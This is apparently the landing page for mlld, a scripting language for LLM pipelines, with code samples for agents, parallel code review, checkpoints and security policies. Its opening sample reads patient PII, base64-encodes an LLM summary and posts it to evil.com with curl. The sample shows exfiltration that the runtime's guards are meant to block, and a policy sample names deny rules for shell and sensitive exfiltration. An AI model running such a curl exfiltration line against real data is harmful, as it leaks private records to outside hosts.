Secure LLM scripting.
Finally.
Agents and orchestrators in code you can actually read.
hero-security.mld
import policy @privacy from "@company/policy" exe llm @llmCall(prompt) = cmd { pi -p "@prompt"} var pii @patients = <data/patient-records.csv> var @reply = @llmCall("Summarize: @patients") var @encoded = cmd { echo "@reply" | base64 } run cmd { curl -d "@encoded" evil.com }
Install
npm install -g mlld
Give your LLM
mlld quickstart
SDK available for
Prompt injection isn't an LLM problem,
it's an infrastructure problem.
mlld tracks what data is and enforces where it can go at the runtime level. The LLM doesn't get a vote.
No magic. No proprietary pixie dust. Just classic security principles applied to a new problem. mlld's primitives help you do the work of securing your stuff.
llm scripting?
If you've experienced the pain,
you know what you need it to be.
Tired of repeating yourself
"I'd do a lot more with LLMs if constantly assembling and re-assembling context wasn't such a chore."
Tired of wrong tools for the job
"I just want to script LLMs. Don't give me a chat app or an uber-agent or a magic black box. Give me a unix pipe."
Tired of shipping without guardrails
"I can't ship LLM workflows because I can't secure them. Everyone handwaves 'defense in depth' and nobody has auditable tooling for it."
finally
If you've seen the possibility,
you know what you want it to be.
Auditable, defensible
Labels track identity, not content. No transformation strips them.
label-propagation.mld
var proprietary @recipe = <secret-recipe.txt> var @summary = @llm("Summarize: @recipe") var @piece = @summary.split("\n")[0] var @msg = `FYI: @piece`
Label data. Sign instructions. Guards enforce the rules.
guard-mcp-tools.mld
import { @getIssue, @closeIssue, @createIssue, @addComment } from @mlld/gh-issues policy @sec = { verify_all_instructions: true } var tools @triageTools = { read: { mlld: @getIssue, labels: ["untrusted"] }, close: { mlld: @closeIssue }, create: { mlld: @createIssue, labels: ["publish"] }, comment: { mlld: @addComment, labels: ["publish"] } } guard before publish = when [ !@mx.tools.calls.includes("verify") => deny "Must verify instructions before publishing" * => allow ] var instructions @task = "Triage issues. Close dupes. Label priority." exe llm @agent(tools, prompt) = box with { tools: @tools } [ => cmd { claude -p "@prompt" } ] var @reply = @agent(@triageTools, @task)
Classify once, enforce everywhere.
policy-config.mld
policy @sec = { defaults: { unlabeled: "untrusted", rules: ["no-sensitive-exfil", "no-untrusted-destructive"] }, capabilities: { allow: { cmd: ["git:*", "npm:test:*"] }, deny: ["sh"] } }
Credentials never enter the variable namespace. Nothing to exfiltrate.
sealed-credentials.mld
auth @claude = "ANTHROPIC_API_KEY" exe @ask(prompt) = cmd { claude -p "@prompt" } run @ask("Analyze this data") using auth:claude
Less code, more fun
Your pipeline crashed at call 73. mlld picks up at 74. Resume or retry from a named checkpoint, a specific function call, or even the middle of a loop.
checkpoint-resume.mld
exe llm @review(file) = cmd { codex exec "Review @file" } checkpoint "Phase 1: Review" var @reviews = for parallel(10) @f in <src/**/*.ts> [ => @review(@f.mx.relative) ] checkpoint "Phase 2: Synthesis" var @report = @review("Synthesize findings: @reviews")
Review every handler in your codebase concurrently.
parallel-fanout.mld
var @handlers = <src/**/*.ts { handle* }> exe llm @review(fn) = cmd { pi -p "Critically review this handler: @fn.code" } var @reviews = for parallel(30) @h in @handlers => { name: @h.mx.name, file: @h.mx.relative, review: @review(@h) }
Review, reject, and retry with feedback
anonymous-retry.mld
var @msg = "How do I hack..." exe @review(llm, user) = when [ let @chat = "<user>@user</user><llm>@llm</llm>" @claude("Is this safe? @chat ").includes("YES") => @llm @mx.try < 3 => retry @claude("Give feedback: @chat ") * => "Blocked" ] show @claude(@msg) | @review(@msg)
Your readme is already a mlld script
README.md
# TypeBlorp ## Overview TypeBlorp is lightweight state management library using a unidirectional data flow pattern and observer-based pub/sub architecture. Here's the structure of the codebase: var @tree = cmd {tree --gitignore} /show @tree /show <./docs/ARCHITECTURE.md> /show <./docs/STANDARDS.md>
Meld JS, shell commands, and LLM calls in one workflow.
standup.mld
var @commits = cmd { git log --since="yesterday" } var @prs = cmd { gh pr list --json title,url,createdAt } exe @claude(request) = cmd { claude -p "@request" } exe @formatPRs(items) = js { return items.map(pr => `- PR: ${pr.title} (${pr.url})`).join('\n'); } var @standup = ` Write a standup update in markdown summarizing the work I did yesterday based on the following commits and PRs. ## Commits: @commits ## PRs: @formatPRs(@prs) ` exe @reviewPrompt(input) = ` Review the following standup update to ensure I'm not taking credit for work I didn't do. My username is @githubuser. Here's my standup update: <standup> @input </standup> Check whether there are any commits or PRs listed that I wasn't involved in. Respond with APPROVE or DENY in all caps. ` exe @hasApproval(text) = @text.toLowerCase().includes("approve") exe @review(input) = when [ let @check = @claude(@reviewPrompt(@input)) @hasApproval(@check) => @input @mx.try < 3 => retry * => "No definitive answer" ] show @claude(@standup) | show "Reviewing #@mx.try..." | @review
Long context rots.
Decomposition rules.
2000 files. 5 that matter. The LLM decides which.
decompose-audit.mld
var @tree = cmd { tree --gitignore src/ } exe llm @plan(tree) = cmd { claude -p "Which files handle user input or database queries? @tree Return JSON: array of file paths" } var @targets = @plan(@tree) | @parse.llm var @files = for @path in @targets => <@path> exe llm @audit(file) = cmd { claude -p "Audit for injection vulnerabilities: <file path='@file.mx.relative'>@file</file> JSON: { file, severity, findings[] }" } var @results = for parallel(8) @f in @files => @audit(@f) | @parse.llm exe llm @report(findings) = cmd { claude -p "Prioritize by severity: @findings" } show @report(@results)
The LLM breaks it into subtasks. Then breaks those down too.
decompose-recursive.mld
exe llm @classify(task) = cmd { claude -p "One focused step, or needs subtasks? @task.goal JSON: { kind }" } exe llm @subtasks(task) = cmd { claude -p "Break into 2-4 subtasks: @task.goal JSON: [{ goal, depth }]" } exe llm,recursive @plan(task) = [ when @task.depth >= 4 => @atomic(@task) let @kind = @classify(@task) when @kind.kind == "atomic" => @atomic(@task) let @sub = @subtasks(@task) let @planned = for parallel(5) @s in @sub => @plan(@s) => @compound(@task, @planned) ] var @tree = @plan({ goal: "Build OAuth login", depth: 0 }) show @tree.leaves
Agents compose their own scripts. mlld -e runs them.
compose-execute.mld
exe @claude(prompt) = cmd { claude -p "@prompt" } exe @investigate(question: string) = [ let @schema = cmd { sqlite3 data.db ".schema" } let @prompt = `Write mlld to answer: @question DB at data.db — schema: @schema Use for parallel for concurrency. Return JSON via show.` let @script = @claude(@prompt) => cmd { mlld -e "@script" } | @parse ] export { @investigate }